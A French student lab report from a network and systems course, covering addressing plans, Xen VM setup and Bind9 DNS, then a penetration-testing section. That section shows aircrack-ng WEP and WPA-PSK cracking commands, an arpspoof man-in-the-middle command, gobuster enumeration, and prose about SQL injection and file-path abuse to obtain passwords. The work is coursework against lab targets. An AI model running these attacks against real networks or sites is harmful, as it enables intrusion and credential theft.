TP sysres IMA5 2021/2022 G1
Sommaire
Plan d'adressage
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4 6509E (E304) | IPv4 C9200 (E306) | IPv4 ISR4331 (SR52) | SSID | VM |
---|---|---|---|---|---|---|---|---|---|
Andrei / Julien | 10 | 10.00.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.00.0.250 | 10.00.0.251 | 10.00.0.252 | 10.00.0.253 | Jonquille | Kronenbourg |
Robin / Aviran | 01 | 10.01.0.0/16 | 2001:7A8:116E:60B0::1/64 | 10.01.0.250 | 10.01.0.251 | 10.01.0.252 | 10.01.0.253 | Marguerite | PaixDieu |
Axel / Guillaume | 02 | 10.02.0.0/16 | 2001:7A8:116E:60B0::2/64 | 10.02.0.250 | 10.02.0.251 | 10.02.0.252 | 10.02.0.253 | Pensee | Kasteel |
Selim / Raphael | 03 | 10.03.0.0/16 | 2001:7A8:116E:60B0::3/64 | 10.03.0.250 | 10.03.0.251 | 10.03.0.252 | 10.03.0.253 | Lavende | Karmeliet |
Helene / Camille | 04 | 10.04.0.0/16 | 2001:7A8:116E:60B0::4/64 | 10.04.0.250 | 10.04.0.251 | 10.04.0.252 | 10.04.0.253 | Tulipe | Duff |
Boris / Louis | 05 | 10.05.0.0/16 | 2001:7A8:116E:60B0::5/64 | 10.05.0.250 | 10.05.0.251 | 10.05.0.252 | 10.05.0.253 | Rose | Bellerose |
Johnny / Arthur | 06 | 10.06.0.0/16 | 2001:7A8:116E:60B0::6/64 | 10.06.0.250 | 10.06.0.251 | 10.06.0.252 | 10.06.0.253 | Orchidee | Anosteke |
Mel / Theo | 07 | 10.07.0.0/16 | 2001:7A8:116E:60B0::7/64 | 10.07.0.250 | 10.07.0.251 | 10.07.0.252 | 10.07.0.253 | Tournesol | RinceCochon |
Khalil / Alvare | 08 | 10.08.0.0/16 | 2001:7A8:116E:60B0::8/64 | 10.08.0.250 | 10.08.0.251 | 10.08.0.252 | 10.08.0.253 | Lys | |
Souleyman / Enoch | 09 | 10.09.0.0/16 | 2001:7A8:116E:60B0::9/64 | 10.09.0.250 | 10.09.0.251 | 10.09.0.252 | 10.09.0.253 | Pissenlit | Panache |
Clement | 110 | 10.10.0.0/16 | 2001:7A8:116E:60B0::A/64 | 10.10.0.250 | 10.10.0.251 | 10.10.0.252 | 10.10.0.253 | Coquelicot | Corona |
INTERCO | 531 | fe80::1/10(304) fe80::2/10(306) fe80::3/10(SR53) | 192.168.222.41/29 | 192.168.222.42/29 | 192.168.222.43/29 | ||||
XEN | 42 | 2001:7A8:116E:60B0::F0/64(304) 2001:7A8:116E:60B0::F1/64(306) 2001:7A8:116E:60B0::F2/64(SR53) | 192.48.57.187/26 | 192.48.57.188/26 | 192.48.57.189/26 |
Table du VLAN 42
Groupe | @IPv4 MV | @IPv6 MV (auto) |
---|---|---|
Andrei / Julien | 193.48.57.176/28 | |
Robin / Aviran | 193.48.57.177/28 | |
Axel / Guillaume | 193.48.57.178/28 | |
Selim / Raphael | 193.48.57.179/28 | |
Helene / Camille | 193.48.57.180/28 | |
Boris / Louis | 193.48.57.181/28 | |
Johnny / Arthur | 193.48.57.182/28 | |
Mel / Theo | 193.48.57.183/28 | |
Khalil / Alvare | 193.48.57.184/28 | |
Souleyman / Enoch | 193.48.57.185/28 | |
Clement | 193.48.57.186/28 |
Note :
à compléter
Entité | Élève | Domaine | 193.48.57.176/28 | 10.60.0.0/16 | 2001:660:4401:60B0::/60 | 2001:7A8:116E:60B0::/60 | VLAN | VLAN WIFI | N° VRRP | SSID n°1 | SSID n°2 |
---|---|---|---|---|---|---|---|---|---|---|---|
ROUTEUR E304 | 193.48.57.187 | :: :F0 | :: :F0 | 10.NN.00.250 | |||||||
ROUTEUR E306 | 193.48.57.188 | :: :F1 | :: :F1 | 10.NN.00.251 | |||||||
ROUTEUR SR52 | 193.48.57.189 | :: :F2 | :: :F2 | 10.NN.00.252 | |||||||
ROUTEUR FLOTTANTE | 193.48.57.190 | :: :F3 | :: :F3 | 10.NN.00.253 | |||||||
Vlan INTERCO 531 INTERCO-SA | 192.168.222.40/29 | fe80::/10 ::1 | fe80::/10 ::1 | 10.NN.00.253 | |||||||
Vlan INTERCO E304 | 192.168.222.41/29 | fe80::/10 ::1 | fe80::/10 ::1 | ||||||||
Vlan INTERCO E306 | 192.168.222.42/29 | fe80::/10 ::2 | fe80::/10 ::2 | ||||||||
Vlan INTERCO SR53 | 192.168.222.43/29 | fe80::/10 ::3 | fe80::/10 ::3 |
- Plan d'adressage IPv4 :
VLAN | Nom | Réseau IPv4 | Cisco 6509-E | Cisco 9200 | Cisco ISR 4331 | Routeur plateforme maths/info | PA Wifi n°1 | PA Wifi n°2 |
---|---|---|---|---|---|---|---|---|
- Plan d'adressage IPv6 :
VLAN | Nom | Réseau IPv6 | Cisco 6509-E | Cisco 9200 | Cisco ISR 4331 | Routeur plateforme maths/info | PA Wifi n°1 | PA Wifi n°2 |
---|
Configuration du routeur en SR-52
(À compléter)
Machine Virtuelle
Création de la VM
On commence tout d'abord par se connecter au domaine capbreton :
ssh root@capbreton.plil.info
On crée ensuite notre vm avec :
xen-create-image --hostname=Kronenbourg --gateway=193.48.57.188 --ip=193.48.57.176 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglop --dist=bullseye
Afin d'accéder à la console de notre vm il nous fallait au préalable modifier le fichier /etc/xen/Kronenbourg.cfg en y rajoutant dans Networking le bridge IMA5sc :
vif=['ip=193.48.57.176 ,mac=00:16:3E:8A:70:9D, bridge=IMA5sc']
On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :
lvcreate -L10G -n Kronenbourg-home storage lvcreate -L10G -n Kronenbourg-var storage
Dans /etc/xen/Kronenbourg.cfg :
disk = [ 'file:/usr/local/xen/domains/Kronenbourg/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Kronenbourg/swap.img,xvda1,w', 'phy:/dev/storage/Kronenbourg-home,xvda3,w', 'phy:/dev/storage/Kronenbourg-var,xvda4,w' ]
Pour lancer et se connecter à la VM :
xl create /etc/xen/Kronenbourg.cfg -c
Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:
/dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:
mkfs.ext4 /dev/xdva3
Au début, nous n'avions pas encore accès à Internet. Afin de continuer le TP en attendant :
mount -o loop /usr/local/xen/domains/Kronenbourg/disk.img /mnt/kro/ mount /dev/storage/Kronenbourg-var var/ chroot /mnt/kro apt update && apt upgrade apt install apache2
Connexion à Internet
Problèmes initiaux
Dans un premier temps, nous avions utilisé par manque d'adresses l'IP 193.48.57.176/28, qui est en fait l'adresse du réseau.
Ceci a fait que nous ne pouvions pas accéder à Internet, et nous avons également vu certains comportements assez curieux.
Par exemple, depuis notre Zabeth :
pifou@zabeth:~$ ping 193.48.57.176 64 bytes from 192.168.222.74: icmp_seq=1 ttl=253 time=0.561 ms
On voit que c'est une autre machine qui répond (à priori un routeur).
Solution par apprentissage
Pour résoudre ce problème, on décide d'utiliser le réseau des alternants. Leur configuration étant différente de la notre, il y a pas mal de choses à modifier.
Adresse IPv4 publique | 193.48.57.174
|
---|---|
Adresse IPv4 privée | 10.60.100.174/24
|
Gateway | 10.60.100.254
|
Dans /etc/network/interfaces
:
iface eth0 inet static address 10.60.100.174/24 up ip address add dev eth0 193.48.57.174/32 ; ip route add default via 10.60.100.254 src 193.48.57.174 down ip address del dev eth0 193.48.57.174/32 ; ip route del default via 10.60.100.254 src 193.48.57.174
Enfin, on configure le routeur de sorte à amener toutes les trames à destination de 193.48.57.174
à 10.60.100.174
.
Serveur DNS
Choix du nom de domaine
Nous avons procédé au choix du nom de domaine sur le site gandi.net : frais-comme-une-kro.club
On définit notre machine virtuelle comme serveur pour notre DNS en rentrant nos adresses IPv4 et IPv6 directement sur le site Gandi.net
On installe ensuite Bind9 sur notre VM, qui permet d'avoir un serveur DNS directement sur la VM :
# apt install bind9
Configuration
Dans /etc/bind/named.conf.local :
zone "frais-comme-une-kro.club" { type master; file "/etc/bind/db.frais-comme-une-kro.club"; notify yes; };
Dans /etc/bind/db.frais-comme-une-kro.club :
$TTL 3600 $ORIGIN frais-comme-une-kro.club. ; Le SOA : @ IN SOA frais-comme-une-kro.club. admin.frais-comme-une-kro.club. ( 1 ; numero de serie 3600 ; refresh 180 ; retry 1209600 ; expiry 3600 ; nx ) ; Site du serveur DNS : IN NS ns1.frais-comme-une-kro.club. ; Adresse du serveur DNS : ns1 IN A 193.48.57.174 ; Les adresses : @ IN A 193.48.57.174 site IN A 193.48.57.174
Où :
- Le champ $TTL détermine le nombre de secondes avant la prise en compte d'une modification.
- $ORIGIN définit l'adresse référencée par "@", ainsi que le suffixe des mots comme "site" et "ns1".
- IN insinue qu'on utilise des adresses IP.
- A veut dire que le champ en question renvoie une adresse (et non pas un autre serveur DNS par exemple).
- NS signifie qu'on définit un Name Server.
Sécurisation du DNS par DNSSEC
Nous créons une clef asymétrique
Tests d'intrusion
WEP
Nous allons procéder à un cassage de clef WEP d'un point d'accès Wi-Fi. Pour cela nous utilisons le paquetage aircrack-ng.
airmon-ng airmon-ng start wlan0mon
On écoute ensuite les trames Wi-Fi :
airodump-ng --encrypt wep wlan0mon
On repère ensuite l'ESSID correspondant à notre groupe : cracotte01 Puis on récupère son BSSID associé.
aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon
On récupère les VI et on les stocke :
airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon
On procède ensuite à la fausse identification :
aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon
On lance ensuite l'algorithme de craquage :
aircrack-ng -b 04:DA:D2:9C:50:50
WPA-PSK
airmon-ng airmon-ng start wlan0mon 9 airodump-ng wlan0mon
Nous prenons le point d'accès kracotte01 et récupérons son BSSID
On lance ensuite la commande suivante, tout en la laissant tourner jusqu'à avoir un Handshake :
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:00 -w psk wlan0mon
Il y avait déjà un dictionnaire de créé nous l'avons donc réutilisé
aircrack-ng psk*.cap aircrack-ng -w dico.txt -b 44:AD:D9:5F:87:00 psk*.cap
Et on laisse tourner, on observe qu'il faut plus de 36h (sur l'ordinateur portable) pour tester toutes les combinaisons présentent dans le dictionnaire :
Attaque de type "homme au milieu" par usurpation ARP
On installe dsniff sur l'ordinateur portable:
apt install dsniff
Ensuite nous devons mettre la variable noyau ip_forward à 1 (qui est de base à 0), cette variable permet à notre machine de se comporter un peu comme un routeur en écoutant sur le réseau:
sysctl -w net.ipv4.ip_forward=1
Il nous faut ensuite choisir un machine à tromper avec notre attaque, on aura besoin de son adresse IP:
172.26.145.52
Ainsi que celle du routeur auquel elle est connecté:
172.26.145.0
On effectue ensuite la commande suivante:
arpspoof -t 172.26.145.52 172.26.145.0
Elle nous permet de se faire passer pour le routeur auprès de la machine
On lance ensuite Wireshark et on filtre les résultat par rapport à l'IP voulu donc celle de la machine ciblée
Intrusion sur un serveur d'application Web
Exploration
Dans un premier temps, on fait du repérage. On va sur le site honey.plil.info. On est invité à entrer un num d'utilisateur et un mot de passe pour se connecter.
En mettant des identifiants aléatoires, un message "Mauvais identifiants" s'affiche.
Avec wireshark
En inspectant la requête POST qui a été envoyée, on voit déjà que les identifiants sont envoyés en clair dans l'URL. Ainsi, en espionnant le réseau, il devrait être possible de récupérer ces derniers. Intéressant..
On essaie de soumettre une requête sans la valeur de mot de passe. On obtient une nouveau message (dans une autre couleur cette fois) : "Les identifiants ne doivent pas être vides". Arf, dommage.
Avec gobuster
On cherche a avoir la liste des URLs accessibles. On peut pour ce faire utiliser gobuster :
sudo apt install gobuster
Il nous faut aussi télécharger une liste de répertoires communs :
wget https://raw.githubusercontent.com/daviddias/node-dirbuster/master/lists/directory-list-2.3-medium.txt
On peut lancer gobuster :
gobuster -e -u http://honey.plil.info/ -w directory-list-2.3-medium.txt ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://honey.plil.info/ [+] Threads : 10 [+] Wordlist : directory-list-2.3-medium.txt [+] Status codes : 200,204,301,302,307,403 [+] Expanded : true [+] Timeout : 10s ===================================================== 2021/12/13 16:41:23 Starting gobuster ===================================================== http://honey.plil.info/javascript (Status: 301) http://honey.plil.info/Docs (Status: 301) http://honey.plil.info/phpmyadmin (Status: 301) http://honey.plil.info/server-status (Status: 403) ===================================================== 2021/12/13 16:42:08 Finished =====================================================
Tiens tiens tiens; on a plusieurs liens.
Le plus intéressant est honey.plil.info/Docs. Je vous laisse découvrir par vous-même les contenus.
Injection SQL
En injectant une requête SQL, on arrive à obtenir une liste de mots de passe disponibles. Malheureusement, on ne trouve pas celui de root, mais on a au moins celui de l'administrateur. On progresse.
2e étape
On arrive sur une interface de gestion des utilisateurs et des manuels.
Les manuels peuvent être rajoutés via leur chemin absolu, ce qui nous permet d'accéder à des fichiers auxquels on n'aurait pas accès autrement. Notamment, on a config-db.php, dans lequel on trouve.. encore un mot de passe !
Celui-ci est pour php-myadmin, cette fois.